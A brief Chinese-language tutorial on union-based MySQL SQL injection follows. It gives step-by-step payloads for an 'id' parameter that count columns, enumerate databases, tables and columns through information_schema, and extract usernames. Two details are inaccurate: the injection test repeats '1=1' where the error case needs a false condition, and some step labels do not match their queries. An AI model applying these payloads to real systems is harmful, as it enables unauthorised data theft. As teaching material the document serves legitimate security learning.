SQL注入——MYSQL
一、SQL注入产生的条件
1.可控变量
2.参数带入数据库查询
3.变量未经过过滤或过滤不严谨
二、判断注入点
下面的方法也知识可能存在,如果有404或者跳转,则没有注入
id=1 and 1=1 页面正常
id=1 and 1=1 页面错误
三、注入步骤
1.猜解列名数量
id=1 order by 2 (直到有错误回显)
2.报错猜解
id=-1 union select 1,2,3 (回显数字)
3.查看当前数据库
id=-1 union select 1,database(),3
4.查看数据库名
id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3
查询到的数据库名为admin
5.查看数据库表名
id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='admin'),3
6.查询admin列名
id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user'),3
查询到的表名为user
7.查询user中的username
id=-1 union select 1,(select group_concat(username) from user),3